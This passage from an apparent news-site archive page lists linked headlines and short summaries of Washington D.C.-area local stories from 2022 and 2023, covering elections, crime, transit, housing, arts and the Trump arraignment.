Palestine in the wake of a devastating war between Israel and Hamas. Thousands in Palestine and Israel have been killed and injured since last week. - [Foreign Embassies in DC Face Security Risks](https://thewash.org/2023/10/10/foreign-embassies-in-dc-face-security-risks/) - The Secret Service closed a section of Van Ness Street NW, adjacent to the Chinese Embassy after discovering a suspicious package. This incident and others raised concerns about the safety of foreign embassies in Washington D.C. - [Cleveland Park residents concerned as city advances Connecticut Avenue design guidelines](https://thewash.org/2023/10/10/cleveland-park-residents-concerned-as-city-advances-connecticut-avenue-design-guidelines/) - The new guidelines set the framework for development in the neighborhood to support the need for affordable housing. - [DC Public Library’s fight against banned books](https://thewash.org/2023/10/10/dc-public-librarys-fight-against-banned-books/) - Capitol Hill businesses participated in Banned Book Week through events held by DC Public Library (DCPL). - [Theatergoers find a “message of hope” in local retelling of the Laramie Project](https://thewash.org/2023/10/10/theatergoers-find-a-message-of-hope-in-local-retelling-of-the-laramie-project/) - Director Paul Di Salvo and producer Genie Baskir present the dramaturgy of tragic events in small-town America. - [Changes coming to Lee Memorial to include the stories of the formerly enslaved](https://thewash.org/2023/10/10/changes-coming-to-lee-memorial-to-include-the-stories-of-the-formerly-enslaved/) - The National Park Service is in the process of adding more information about the lives of enslaved people to the museum panels at Arlington House, following discussion among descendants. - [Sustainable art transforms the lives of Mayan women and helps the environment](https://thewash.org/2023/10/10/sustainable-art-transforms-the-lives-of-mayan-women-and-helps-the-environment/) - An initiative called "Rug Money" is taking center stage in the Amy Kaslow Gallery, demonstrating how artistry, economies, and access to opportunity can impact with indigenous lives. - [Local food market helps both the community and the farmers that feed it](https://thewash.org/2023/10/03/local-food-market-helps-both-the-community-and-the-farmers-that-feed-it/) - The Columbia Heights Farmers Market is a place where those without access to fresh produce can eat sustainably and healthy, while supporting local farmers. - [‘A piece reflective of the community’: Local artist's Doberman Mural in NoMa depicts Black Culture](https://thewash.org/2023/10/03/a-piece-reflective-of-the-community-local-artists-doberman-mural-in-noma-depicts-black-culture/) - Part of the NoMA in Color Annual Mural Festival, local artist Gentry Pack’s newly unveiled mural reflects the essence of the neighborhood, challenges stereotypes and evokes a sense of connection among residents. - [Safety top of mind ahead of 17th Street High Heel Race](https://thewash.org/2023/10/03/safety-top-of-mind-ahead-of-17th-street-high-heel-race/) - The Mayor’s Office of LGBTQ Affairs and Metropolitan Police have created safety plans to prepare for the unexpected at the race. - [‘This is not the time for it’; DC’s cashless ban leaves some Adams Morgan business owners scared](https://thewash.org/2023/10/03/this-is-not-the-time-for-it-dcs-cashless-ban-leaves-some-adams-morgan-business-owners-scared/) - Businesses have to pull out the cash drawers now after a financial mandate was enacted on Oct. 1. The new law requires cash transactions as a customer option, but some business owners are unhappy about it. - [Georgetown’s Museum of Failure: A success story](https://thewash.org/2023/10/03/georgetowns-museum-of-failure-a-success-story/) - On display in Georgetown, the pop-up Museum of Failure is opening-up discussions around failure with its exhibit on flops from around the world - [The Navy Yard business initiative that’s taking on crime](https://thewash.org/2023/10/03/the-navy-yard-business-initiative-thats-taking-on-crime/) - A small group of local businesses have banded together to create a new approach to safety. Could other areas in D.C. do the same? Navy Yard businesses say yes, but residents remain doubtful. - [Kennedy Center prioritizes diverse works as a leader in D.C. theater](https://thewash.org/2023/10/03/kennedy-center-prioritizes-diverse-works-as-a-leader-in-d-c-theater/) - Through free and diverse programming and participating in initiatives like D.C. Theatre Week, the Kennedy Center works to make theater accessible to the entire District. Productions and events for Theatre Washington's Theatre Week run from Sept. 21 to Oct. 8. - [Temporary government funding still leaves some military families worried](https://thewash.org/2023/10/02/temporary-government-funding-still-leaves-some-military-families-worried/) - While the government avoided a shutdown Saturday, the temporary funding does not ease the concerns of some military families. - [Bikeshare boom in Alexandria](https://thewash.org/2023/09/26/bikeshare-boom-in-alexandria/) - Improved infrastructure and new technology led Capital Bikeshare to a big summer. - [8th Street priority bus lane proposal met with mixed reviews](https://thewash.org/2023/09/26/8th-street-priority-bus-lane-proposal-met-with-mixed-reviews/) - In the historic Barracks Row district, a debate is brewing over a proposed priority bus lane on 8th Street SE. The bus project has garnered a variety of opinions from local business owners, residents and transportation officials. - [Bethesda Streetery faces concerns over panhandling and disputes](https://thewash.org/2023/09/26/bethesda-streetery-faces-concerns-over-panhandling-and-disputes/) - Restaurant owners and workers are brainstorming strategies to maintain a peaceful environment within the Streeteries. A small faction of individuals has been causing disturbances for restaurant patrons along Norfolk Avenue. - [Tenleytown's annual “Art All Night” festival returns this fall](https://thewash.org/2023/09/26/tenleytowns-annual-art-all-night-festival-returns-this-fall/) - Excitement is at its highest for singer Sara Curtin as she prepares for the yearly "Art All Night" festival. - [Crystal City businesses remain optimistic despite construction](https://thewash.org/2023/09/26/crystal-city-businesses-remain-optimistic-despite-construction/) - Construction on Crystal City's "Water Park" outdoor food venue is extended, but local businesses say they are looking forward to more customers after the grand opening. - [New National Cathedral windows shift from Confederacy theme to racial justice](https://thewash.org/2023/09/26/new-national-cathedral-windows-shift-from-confederacy-theme-to-racial-justice/) - Rev. Leonard Hamlin Sr. says the windows help the Cathedral truly be a house of prayer for all people. - [Fatal accident on the Potomac forces safety reckoning among kayakers](https://thewash.org/2023/09/26/fatal-accident-on-the-potomac-forces-safety-reckoning-among-kayakers/) - After the death of a Columbia University student in Little Falls, the Montgomery County kayaking community is weighing the hazards of paddling down one of the state’s largest rivers. - [Columbia Heights’ adult education program helps immigrants say “hello” to new opportunities](https://thewash.org/2023/09/19/columbia-heights-adult-education-program-helps-immigrants-say-hello-to-new-opportunities/) - The Family Place Adult Public Charter School provides students free courses to improve their English skills. They are looking to increase their enrollment in the coming years to serve the largest number of students possible. - [Housing advocates canvass on behalf of tenant rights in D.C.](https://thewash.org/2023/09/19/housing-advocates-canvass-on-behalf-of-tenant-rights-in-d-c/) - Advocates say many landlords in the District violate the implied warranty of habitability in residential lease agreements. - [Adams Morgan businesses come and go, but one beats the odds 86 years running](https://thewash.org/2023/09/19/adams-morgan-businesses-come-and-go-but-one-beats-the-odds-86-years-running/) - An Adams Morgan liquor store has remained in the neighborhood for about 86 years but other businesses tend to churn over the seasons. New and older businesses line the area’s bustling streets, but each building had a previous life. - [Safety concerns grip Deanwood as violent crime incidents see a rise](https://thewash.org/2023/09/19/safety-concerns-grip-deanwood-as-violent-crime-incidents-see-a-rise/) - Nestled in the Northeast quadrant, Deanwood's safety concerns weigh heavily on the minds of its residents. As violent crime incidents continue to surge, the streets grow quiet. - [Bike ride highlights push for protected bike lanes on Q and R streets](https://thewash.org/2023/09/19/bike-ride-highlights-push-for-protected-bike-lanes-on-q-and-r-streets/) - Families cycled from Dupont Circle to Alethia Tanner Park Sunday on their way to the DC Family Bike Fest, but the fun ride also had a mission behind it. - [Navy Yard grapples with stabbing as violent crime rises](https://thewash.org/2023/09/19/navy-yard-grapples-with-stabbing-as-violent-crime-rises/) - Metropolitan Police Department data shows the Navy Yard experienced 64 violent crimes this year to date, compared to the 55 total in 2022. - [Foggy Bottom’s outdoor sculpture biennial aims to make art accessible](https://thewash.org/2023/09/19/foggy-bottoms-outdoor-sculpture-biennial-aims-to-make-art-accessible/) - The final tour of the neighborhood’s biennial sculpture exhibit takes place Oct. 8. The show focuses on the need for reflection, works to expose different types of people to fine art and mostly features local artists. - [Residents take to the street to argue over bike lanes on Connecticut Avenue](https://thewash.org/2023/09/12/residents-take-to-the-street-to-argue-over-bike-lanes-on-connecticut-avenue/) - Over a dozen people rallied on Connecticut Avenue to protest the city’s plan to add protected bike lanes on the road. A smaller group of counter protestors made their support for the lanes known. - [Police observe subdued crowd despite heightened security on Trump arraignment day](https://thewash.org/2023/08/05/police-observe-subdued-crowd-despite-heightened-security-on-trump-arrangement-day/) - Concerns over security were high among the city officials over the traction gathered by this high-profile case due to the previous incident of the Jan. 6 Capitol Riots. However, the Metropolitan Police Department saw peaceful and subdued crowds gather at the E. Barrett Prettyman Federal Courthouse with no physical altercation incident reported. - [Meet the people traveling the country to protest Trump’s arraignment](https://thewash.org/2023/08/05/meet-the-people-traveling-the-country-to-protest-trumps-arraignment/) - By Daniela Lobo and Katherine Hapgood Demonstrators from across the United States traveled to Washington D.C. to experience the historical arraignment of former President Donald Trump. Trump pleaded not guilty to the four felony charges, including conspiracy and obstruction, in connection with his alleged involvement in attempting to overturn the 2020 election results. Trump is - [Living in DC while worldwide news events break around you](https://thewash.org/2023/08/04/living-in-dc-while-worldwide-news-events-break-around-you/) - People from across the country and the world came to Washington, D.C. to get a glimpse of the action outside the courthouse of former President Donald Trump’s federal arraignment, but for locals the event was part of living here. - [Foreign nationals scoff at Trump, doubt guilty verdict](https://thewash.org/2023/08/05/foreign-nationals-scoff-at-trump-doubt-guilty-verdict/) - Both Americans and visitors from around the world descended on the capital and watched as former President Donald Trump was arraigned in federal court Thursday, pleading not guilty to four charges tying him to the Capitol riot on Jan. 6, 2021. - [D.C. bar looks to cash in from Trump’s arraignment](https://thewash.org/2023/08/04/d-c-bar-looks-to-cash-in-from-trumps-arraignment/) - A Capitol Hill bar and restaurant sold indictment-themed drinks in honor of former President Donald Trump’s federal arraignment happening down the road Thursday. - [Opinions run deep outside federal courthouse during former President's arraignment](https://thewash.org/2023/08/04/opinions-run-deep-outside-federal-courthouse-during-former-presidents-arraignment/) - Thursday's court hearing drew thousands of curious citizens downtown. - [Trump is charged: Now what? Voters debate](https://thewash.org/2023/08/04/trump-is-charged-now-what-voters-debate/) - Former President Donald Trump faced four criminal charges Thursday in a D.C. courtroom where he pleaded not guilty to conspiring to prevent a peaceful transfer of power following the 2020 election. Trump is expected to appear in court again Aug. 28 to face election interference charges. - [Syrians report eerily similar recurring nightmares](https://thewash.org/2023/05/01/syrians-report-eerily-similar-recurring-nightmares/) - People who have fled violent regimes bring a form of PTSD into their dreams. - [Cumberland residents wonder what’s next for manufacturing as another plant closes](https://thewash.org/2023/04/30/cumberland-residents-wonder-whats-next-for-manufacturing-as-another-plant-closes/) - As Hunter Douglas, a window blinds maker, sheds around 240 jobs in Cumberland, residents fret over the future of manufacturing in the western Maryland town. - [Despite physical distance, Iranian-Americans demonstrate solidarity](https://thewash.org/2023/04/29/despite-physical-distance-iranian-americans-demonstrate-solidarity/) - Diaspora Iranians are actively watching and reacting to violent protests. While some protest in the streets of D.C., others are using creative outlets to rally support for change. - [Cherry blossom fans visit Kenwood neighborhood as alternative to crowded Tidal Basin](https://thewash.org/2023/03/25/cherry-blossom-fans-visit-kenwood-neighborhood-as-alternative-to-crowded-tidal-basin/) - A residential neighborhood in Chevy Chase is an insider cherry blossom destination for devoted fans of the springtime trees, serving as an alternative to the popular Tidal Basin area in D.C. - [Cherry blossoms remain beautiful despite environmental challenges](https://thewash.org/2023/03/25/cherry-blossoms-remain-beautiful-despite-environmental-challenges/) - Park Service arborist fights environmental challenges to keep cherry trees healthy and blooming at the Tidal Basin. - [Homes across Washington DC compete for prettiest pink porch](https://thewash.org/2023/03/25/homes-across-washington-d-c-compete-for-prettiest-pink-porch/) - Washingtonians adorn their houses with giant inflated teddy bears, bunnies, and pink swans as they compete in the friendly Petal Porches competition - [Breaking: The National Zoo introduces two new Asian elephants](https://thewash.org/2022/12/13/breaking-the-national-zoo-introduces-two-new-asian-elephants/) - The Smithsonian’s National Zoo and Conservation Biology Institute says its two new female Asian elephants have just completed their quarantine period after arriving in early November. - [Georgetown GLOW brings holiday cheer to the historic neighborhood](https://thewash.org/2022/12/13/georgetown-glow-brings-holiday-cheer-to-the-historic-neighborhood/) - Georgetown GLOW reimagines the season of light, featuring artists’ luminous creations from across the globe. - [Rat infestation, radiator explosion, mold plague D.C. school](https://thewash.org/2022/12/13/rat-infestation-radiator-explosion-mold-plague-d-c-school/) - Despite multiple attempts by teachers, parents, and local ANC commissioners to call DCPS and the D.C. Department of General Services to action, Whittier Elementary School remains in a state of disrepair. - [30th annual Christmas Boat Parade brings cheer to Southwest](https://thewash.org/2022/12/13/30th-annual-christmas-boat-parade-brings-christmas-cheer-to-southwest/) - The Wharf and the Capitol Yacht Club partnered to start the holiday season with brightly colored boats and fun for all ages. - [Annual holiday market visits Penn Quarter](https://thewash.org/2022/12/13/annual-holiday-market-visits-penn-quarter/) - The annual Downtown Holiday Market is now open on F Street in Penn Quarter. This year, more minority-owned small businesses are present than ever. - [The last camera shop in Crystal City hopes to last](https://thewash.org/2022/12/13/the-last-camera-shop-in-crystal-city-hopes-to-last/) - Metro Camera celebrated its 50th anniversary last month. But if the shop doesn’t bring in more customers, it may not make it to its 51st. - [Vacant D.C. office building turning into prospective new homes](https://thewash.org/2022/12/13/vacant-d-c-office-building-turning-into-prospective-new-homes/) - The Universal building in Adams Morgan joins the trend of empty office buildings being redeveloped into residential units for the neighborhood. - [Enchant makes Christmas magic at Nationals Park this holiday season](https://thewash.org/2022/12/11/enchant-makes-christmas-magic-at-nationals-park-this-holiday-season/) - The Hallmark Channel’s Enchant takes over Nationals Park for the Christmas season, offering several attractions, such as holiday shops, a luminous maze, and ice skating. - [Gen Z wave starts to build in hyper-local DC offices](https://thewash.org/2022/12/13/gen-z-wave-starts-to-build-in-hyper-local-dc-offices/) - Young, enthusiastic leaders in Washington, D.C. are assuming elected office with the hope of changing the narrative around youth civic participation. - [Vehicle collision damages a gas meter in Northwest DC](https://thewash.org/2022/12/13/vehicle-collision-damages-a-gas-meter-in-northwest-dc/) - A gas leak forced evacuations in Brightwood Park this evening, with Fire and EMS, Metro Police, and Washington Gas managing the scene overnight. - [Green line service suspended after a man struck by a train at Anacostia Station](https://thewash.org/2022/12/11/green-line-service-suspended-after-a-man-struck-by-a-train-at-anacostia-station/) - The Green Line Metro service between Navy Yard and Southern Avenue was suspended for almost four hours after a person was reportedly struck by a train early Sunday morning. A WMATA report is expected to be released in the following days. - [Water valve repairs in Arlington cause road closures Friday afternoon](https://thewash.org/2022/12/09/water-valve-repairs-in-arlington-cause-road-closures-friday-afternoon/) - Two water valves broke Friday as a result of repairs done on a nearby water main break yesterday evening. Crews are continuing to repair the two valves, as surrounding residents deal with road closures and intermittent water supply. - [Montgomery County takes steps to offset ‘mind-boggling’ increase in gun-carry permits](https://thewash.org/2022/12/09/montgomery-county-takes-steps-to-offset-mind-boggling-increase-in-gun-carry-permits/) - New gun education program starts in schools while the county council passes new law to restrict guns in public spaces. - [Off-duty FBI agent shoots person at Metro Center](https://thewash.org/2022/12/08/off-duty-fbi-agent-shoots-person-at-metro-center/) - Passengers report diving for cover after gunfire erupts on the train platform - [Turning neighborhoods into ‘agri-hoods’](https://thewash.org/2022/12/07/turning-neighborhoods-into-agri-hoods/) - The Temperance Alley Garden is being replaced by townhouses in September 2023. Community gardens are an important part of urban gardening, as they provide not only fresh produce, but also a place for people to come together. - [One person rushed to hospital after car crash in Brightwood Park](https://thewash.org/2022/12/06/one-person-rushed-to-hospital-after-car-crash-in-brightwood-park/) - The car smashed into a concrete barrier in an alley off Kennedy Street near Illinois Avenue, NW. - [Crash raises concerns about Old Town residents' responsibility toward historic buildings](https://thewash.org/2022/12/06/crash-raises-concerns-about-old-town-residents-responsibility-toward-historic-buildings/) - A recent crash in Old Town Alexandria sparks questions about how residents should maintain their historic homes. - [Reopened Zoo Loop Trail's hours of operation draw congressional criticism](https://thewash.org/2022/12/06/reopened-zoo-loop-trails-hours-of-operation-draw-congressional-criticism/) - The operating hours of the recently reopened Zoo Loop Trail in Rock Creek Park has prompted complaints from the community — and D.C.'s own congressperson. Safety issues are at the forefront of both the zoo and the community's concerns. - [World Pride planning kicks off for 2025](https://thewash.org/2022/12/06/world-pride-planning-kicks-off-for-2025/) - World Pride in 2025 will feature international versions of events familiar to attendants of annual Pride celebrations. - [New project seeks to bring life back to Friendship Heights](https://thewash.org/2022/12/06/new-project-seeks-to-bring-life-back-to-friendship-heights/) - The local ANC green-lighted a redevelopment project along Wisconsin Ave. last week, advancing what many hope to be first in a trend of new housing and revitalization for the quiet neighborhood community. - [Montgomery County leads the nation in electrifying school buses](https://thewash.org/2022/12/06/montgomery-county-leads-the-nation-in-electrifying-school-buses/) - An all-inclusive contract with a fleet solution provider brings environmental, health and other benefits to the school district without additional costs to the residents. - [Temporary roundabout on Military Road to become a permanent fixture](https://thewash.org/2022/12/06/temporary-roundabout-on-military-road-to-become-a-permanent-fixture/) - Arlington County is moving forward with a permanent roundabout at the intersection of Military Road and Nelly Custis Drive after a pilot project showed a roundabout would slow vehicle speeds. Public comment shows residents are skeptical of the necessity of the change and find the roundabout confusing. - [Columbia Heights struggles to find its Christmas spirit](https://thewash.org/2022/12/06/columbia-heights-struggles-to-find-its-christmas-spirit/) - Despite D.C. Holidays Lights, Columbia Heights is taking time to turn on its Christmas lights, much to the despair of businesses. - [As NoMa develops, Deaf community questions its future](https://thewash.org/2022/12/06/as-noma-develops-deaf-community-questions-its-future/) - Unfamiliarity with sign language, lack of translators, and rising rents in the rapidly growing neighborhood are pushing its longtime Deaf community out. - [GMU opens new college of public health, a first for Virginia](https://thewash.org/2022/12/06/gmu-opens-new-college-of-public-health-a-first-for-virginia/) - With nearly 3,200 students, the college at George Mason University is the first of its kind in Virginia, where no other university has created a formal public health college. - [Without Roe v. Wade, local abortion funds face new challenges](https://thewash.org/2022/12/03/without-roe-v-wade-local-abortion-funds-face-new-challenges/) - Demand for some abortion funds in D.C. and Maryland is expected to double after this summer’s loss of constitutional abortion protections. Clinics and researchers say the resource is more essential to patients than ever. - [A celebration of DC life and culture at the new Rubell Museum](https://thewash.org/2022/12/02/a-celebration-of-dc-life-and-culture-at-the-new-rubell-museum/) - Washington, D.C., has no shortage of museums and exhibits that highlight the history and art of the United States and its people. But a new home for Don and Mera Rubell's contemporary art collection centers the culture and energy of artists and the city in a repurposed space. The Rubells have been collecting contemporary art - [Man severely injured after rescue from atop Union Station train](https://thewash.org/2022/12/02/man-severely-injured-after-rescue-from-atop-union-station-train/) - First responders rescued a man with life-threatening injuries from the top of a train near Union Station after he came into contact with an electrical wire. The victim was trespassing and has been transported to a local hospital, according to officials. - [Shakespeare Theatre hopes to bring historical plays to youth, offers acting lessons](https://thewash.org/2022/12/01/shakespeare-theatre-hopes-to-bring-historical-plays-to-youth-offers-acting-lessons/) - Shakespeare Theatre Company on F Street began its annual acting sessions for children, teens, and adults in November. The company is hoping to bring Shakespeare's plays to today's world and and show similarities of the past and future. - [D.C.’s first Black, LGBTQ+ Councilmember Zachary Parker contemplates his new role](https://thewash.org/2022/11/29/d-c-s-first-black-lgbtq-councilmember-zachary-parker-contemplates-his-new-role/) - In the weeks following his landslide victory as D.C. councilmember representing Ward 5, Zachary Parker discusses his landmark victory. - [Mayor Bowser signs bill allowing ANCs to continue holding virtual meetings--for now](https://thewash.org/2022/11/29/mayor-bowser-signs-bill-allowing-ancs-to-continue-holding-virtual-meetings-for-now/) - ANC’s in D.C. can continue to meet virtually under emergency legislation signed by Mayor Muriel Bowser. The D.C. Council now is considering making the change permanent. - [Antisemitism in DC remains a concern, activists say](https://thewash.org/2022/11/29/antisemitism-in-dc-remains-a-concern-activists-say/) - Following antisemitic outbursts by prominent figures such as Kanye West and NBA star Kyrie Irving, Jewish organizations in and around D.C. are on high alert for anti-Jewish hate crimes. - [Affordable housing efforts expand in Adams Morgan](https://thewash.org/2022/11/29/affordable-housing-efforts-expand-in-adams-morgan/) - A transformative partnership between Sitar Arts Center and Jubilee Housing marks an innovative way to increase affordable housing and access to an arts-based after school program in Adams Morgan. - [Metro’s “Money Train” stuck at Metro Center Station](https://thewash.org/2022/11/28/metros-money-train-stuck-at-metro-center-station/) - Washington Metropolitan Area Transit’s “Money Train” was stuck for 20 minutes at Metro Center Monday because of a brake issue. - [Artist pays homage to a Black community destroyed by Pentagon construction](https://thewash.org/2022/11/29/artist-pays-homage-to-a-black-community-destroyed-by-pentagon-construction/) - In 1942, the small Black community of Queen City, with only about 200 households, was destroyed to make way for a cloverleaf highway structure that connected the Pentagon to Columbia Pike. Washington, D.C. artist Nekisha Durrett plans to recognize Queen City’s history with her installation of a 30-foot above-ground well in Amazon’s Met Park. - [Power is back, but schools are closed in Montgomery County](https://thewash.org/2022/11/28/power-is-back-but-schools-are-closed-in-montgomery-county/) - A small plane crashed into transmission lines and caused a power outage in Montgomery County. Electric services have been restored, but not in time to start schools on Monday. - [“Right now our education system is at a real breaking point.” Education key subject for Adams Morgan voters](https://thewash.org/2022/11/08/right-now-our-education-system-is-at-a-real-breaking-point-education-key-subject-for-adams-morgan-voters/) - Voters and campaigners at Marie Reed Elementary School in Adams Morgan discuss the importance of education in D.C. and the safety of kids getting to and from school. - [Head-on collision leaves woman trapped in car outside Kingstowne Center](https://thewash.org/2022/11/19/head-on-collision-leaves-woman-trapped-in-car-outside-kingstowne-town-center/) - Woman rescued from car with "jaws of life" after being trapped following a head-on collision. - [Tenleytown high school goes into lockdown after shots fired nearby](https://thewash.org/2022/11/18/tenleytown-high-school-goes-into-lockdown-after-shots-fired-nearby/) - Students at Tenleytown's Jackson-Reed High School had to wait to be dismissed from school Friday, after gunshots half a block from campus sent the school into a temporary lockdown. American University police is increasing its presence in the area through the weekend. - [Panelists: Biggest Threat to US Democracy Happened Long Before Jan. 6th Insurrection](https://thewash.org/2022/11/17/panelists-biggest-threat-to-us-democracy-happened-long-before-jan-6th-insurrection/) - Panelists at the Inaugural Democracy Summit say the 2013 Supreme Court case of Shelby County v. Holder created a nationwide issue of voter suppression where racial minorities are still dealing with its repercussions. - [D.C. Sanctuary City: A podcast on the humanitarian crisis with migrants being bussed across the country](https://thewash.org/2022/11/10/d-c-sanctuary-city-a-podcast-on-the-humanitarian-crisis-with-migrants-being-bussed-across-the-country/) - D.C. Mayor Muriel Bowser declared an ongoing humanitarian crisis after busloads of migrants were dropped off at district borders this summer. - [Litter and its silent impact on communities](https://thewash.org/2022/11/15/litter-and-its-silent-impact-on-communities/) - D.C., much like every major city, has a huge litter problem. But aside from being a nuisance or bad for the environment, litter can be linked to reducing mental health in residents and cause health concerns as it attracts vermin. - [Foggy Bottom blaze sends six to hospital](https://thewash.org/2022/11/15/foggy-bottom-blaze-sends-six-to-hospital/) - Crews transported six people to hospital after a second-floor apartment caught fire in Foggy Bottom. DC Fire evacuated the entire building, which houses over 100 senior citizens. - [The Old Town Alexandria’s Lyceum and its Vital Community Role](https://thewash.org/2022/11/15/the-old-town-alexandrias-lyceum-and-its-vital-community-role/) - Old Town Alexandria’s Lyceum provides guests with insight into local history, like a recently opened Alexandria Hospital exhibit. - [Round House Theatre doubles down on diversity, inclusion](https://thewash.org/2022/11/15/round-house-theatre-doubles-down-on-diversity-inclusion/) - The Bethesda-based theater is challenging the pervasive inequity in the American theater industry with new community engagement and fundraising programs. - [Herndon cops want to better their policing. Their strategy: Meditation.](https://thewash.org/2022/11/15/herndon-cops-want-to-better-their-policing-their-strategy-meditation/) - Herndon police is the second department in the country after the New York Police Department to participate in a pilot program that teaches cops how to meditate. The department wants to use mantras to better community policing amid nationwide calls to defund law enforcement. - [Minsky's salon and owner bring eclectic joy to Tenleytown for decades](https://thewash.org/2022/11/15/minskys-salon-and-owner-bring-eclectic-joy-to-tenleytown-for-decades/) - Jack Bubis, owner of Minsky's Hair Emporium in Tenleytown, creates lifelong customer relationships with his whimsical space and quality service. - [Arlington set to bring ranked choice voting next summer](https://thewash.org/2022/11/15/arlington-set-to-bring-ranked-choice-voting-next-summer/) - Arlington voters will have the chance to rank candidates first to last in a new voting system that will debut during the county board primary election next year. The new system is meant to bring more choice and flexibility to the rapidly growing community. - [New street art project will bring endangered animals to northwest DC](https://thewash.org/2022/11/15/new-street-art-project-will-bring-endangered-animals-to-northwest-dc/) - The neighborhoods of Woodley Park and Cleveland Park are slated for a new public art project centered on endangered animals. Organizers hope it will highlight their connection to the National Zoo and become a hub for community events. - [U.S. foreign relations strategy as a world power debated at Nixon Foundation session](https://thewash.org/2022/11/14/u-s-foreign-relations-strategy-as-a-world-power-debated-at-nixon-foundation-session/) - Speakers discussed the United States' role as a global power at a session of the Grand Strategy Summit. - [More open pedestrian spaces are coming to DC's busiest areas](https://thewash.org/2022/11/15/more-open-pedestrian-spaces-are-coming-to-dcs-busiest-areas/) - This blocked off U-Turn south of Dupont Circle is part of an effort to bring more safe, open spaces to busy areas of D.C. - [Once again, D.C. Councilmembers try to expand voting rights for green card holders](https://thewash.org/2022/11/15/once-again-d-c-councilmembers-try-to-expand-voting-rights-for-green-card-holders/) - Next Election Day might see a huge change for D.C. residents, as council members try to give permanent residents the right to vote in local elections. - [Ward 6 commissioners pen letter to mayor over H Street crime](https://thewash.org/2022/11/15/ward-6-commissioners-pen-letter-to-mayor-over-h-street-crime/) - The spike in crime on the H Street corridor raises safety concerns amongst residents in the more residential NoMa neighborhood. - [Policy analysts question if the Middle East will soon ‘belong’ to China](https://thewash.org/2022/11/13/policy-analysts-question-if-the-middle-east-will-soon-belong-to-china/) - Policy analysts at the Nixon Foundation’s Grand Strategy Summit discuss how China has surpassed the United States in economic and diplomatic power in the Middle East. - [Chester pastor works to get 'souls to the polls'](https://thewash.org/2022/11/08/chester-pastor-works-to-get-souls-to-the-polls/) - Thaddeus Kirkland is is mayor of Chester, Pennsylvania and was a state representative for 24 years. - [Voters and candidates talk unions, abortion rights, more](https://thewash.org/2022/11/08/voters-and-candidates-talk-unions-abortion-rights-more/) - Unions have historically been strong organizers for Democratic candidates, and some union members waited in long lines to attend a rally featuring President Biden and former President Obama. - [Georgetown University Students optimistic on Election Day](https://thewash.org/2022/11/08/georgetown-university-students-optimistic-on-election-day/) - Abortion and gun safety are among the issues motivating some students. - [Read claims win in tight Fairfax City mayoral race against Yi](https://thewash.org/2022/11/09/read-claims-win-in-tight-fairfax-city-mayoral-race-against-yi/) - Catherine Read is claiming to have clinched the Fairfax City mayoral election Tuesday in a tight race against Sang Yi, a slim win for Democrats. As of the morning of Nov. 9, Read snagged about 50 percent of the vote with 4,757 ballots, compared with Yi, who earned 49 percent, or 4,639 votes, with eight - [Old Town voters on crime, education, housing, airport noise](https://thewash.org/2022/11/08/old-town-voters-on-crime-education-housing-airport-noise/) - Residents vote today with an eye on next year’s local races. - [Voters in Frederick County, Maryland seem poised to vote in favor of legalizing recreational marijuana](https://thewash.org/2022/11/08/voters-in-frederick-county-maryland-seem-poised-to-vote-in-favor-of-legalizing-recreational-marijuana/) - Voters in Frederick County today express support for the statewide ballot measure that would legalize marijuana for recreational use. Voters cite a wide range of reasons, including criminal justice reform and the benefits of marijuana over other prescription drugs. - [Americans share concerns for the state of the union](https://thewash.org/2022/11/08/americans-share-concerns-for-the-state-of-the-union/) - In the final days of the midterms, citizens decry political divisiveness - [Does a DC law give university students time off to vote?](https://thewash.org/2022/11/08/does-dc-law-give-university-students-time-off-to-vote/) - While the District passed a law giving students the right to an excused absence to vote in 2020, it’s unclear if the legislation applies to college students. University staff and students alike say the time off would help encourage civic engagement. - [As the race for Pennsylvania tightens, voters and candidates turn to the suburbs](https://thewash.org/2022/11/08/as-the-race-for-pennsylvania-tightens-voters-and-candidates-turn-to-the-suburbs/) - Pennsylvania Republicans and Democrats fought the waning days of the 2022 election campaign in the Philadelphia suburbs. - [Temple University students hope other young people turnout for midterm elections](https://thewash.org/2022/11/08/temple-university-students-hope-other-young-people-turnout-for-midterm-elections/) - Sunday's rally to encourage turnout is staged on a politically engaged campus. - [Ward 5 Voters: DC’s affordable housing market available but poorly accessible](https://thewash.org/2022/11/08/ward-5-voters-d-c-s-affordable-housing-market-available-but-poorly-accessible/) - D.C. residents at the Woodridge Library polling station stress that affordable housing is a necessity. - [At-large council race close and top of mind in southeast DC](https://thewash.org/2022/11/08/at-large-council-race-close-and-top-of-mind-in-southeast-dc/) - Voters in the District's southeast quadrant were engaged as they voted for two at-large representatives on the D.C. Council in a competitive and crucial race for the city's top legislative body. - [Student ambassadors experience democracy firsthand](https://thewash.org/2022/11/08/student-ambassadors-experience-democracy-firsthand/) - Montgomery County’s ‘Future Vote’ program offers youth a non-partisan way to participate in elections early on. - [Crystal Plaza polling site a mixed blessing](https://thewash.org/2022/11/08/crystal-plaza-polling-site-a-mixed-blessing/) - Crystal Plaza Apartment polling site a win only for Crystal Plaza residents as construction, distance from Metro makes it difficult for others. - [D.C. voters are worried about the future of abortion](https://thewash.org/2022/11/08/d-c-voters-are-worried-about-the-future-of-abortion/) - D.C. residents are voting with abortion rights in mind today as the future of the right to choose is at stake in in the city. - [Voters want candidates to BeReal on social media in battleground election](https://thewash.org/2022/11/08/voters-want-candidates-to-bereal-on-social-media-in-battleground-election/) - As the midterm elections approach, campaigns and candidates are looking for new ways to build excitement and keep young voters engaged. - [For Virginians, voting in person is more convenient](https://thewash.org/2022/11/08/for-virginians-voting-in-person-is-more-convenient/) - Volunteers from both parties handed out sample ballots and directed voters outside a local high school. In Virginia, voters indicate voting in person on election day is more accessible than early voting or doing so by mail. - [Pending bill to let noncitizens vote in D.C. elections debated](https://thewash.org/2022/11/08/pending-bill-to-let-noncitizens-vote-in-d-c-elections-debated/) - Columbia Heights voters are divided over a bill that now sits on Mayor Bowser's desk. - [Marijuana legalization in Maryland late but welcome, say voters in Silver Spring](https://thewash.org/2022/11/08/marijuana-legalization-in-maryland-late-but-welcome-say-voters-in-silver-spring/) - Voters in Maryland will decide on if marijuana is legalized for recreational purposes for those over 21. - [DC election workers trained and ready for today](https://thewash.org/2022/11/08/dc-election-workers-trained-and-ready-for-today/) - Just under 2,000 trained election workers are at sites across the District today, prepared to assist voters and ensure their ballots are protected and counted. - [Democratic candidates bring out political stars before Election Day](https://thewash.org/2022/11/08/democratic-candidates-bring-out-political-stars-before-election-day/) - President Biden, former President Obama stress the importance of voting, highlight the stakes of the election cycle. - [Fears about democracy, election integrity top of mind for Pennsylvanians ahead of election day](https://thewash.org/2022/11/08/fears-about-democracy-election-integrity-top-of-mind-for-pennsylvanians-ahead-of-election-day/) - As 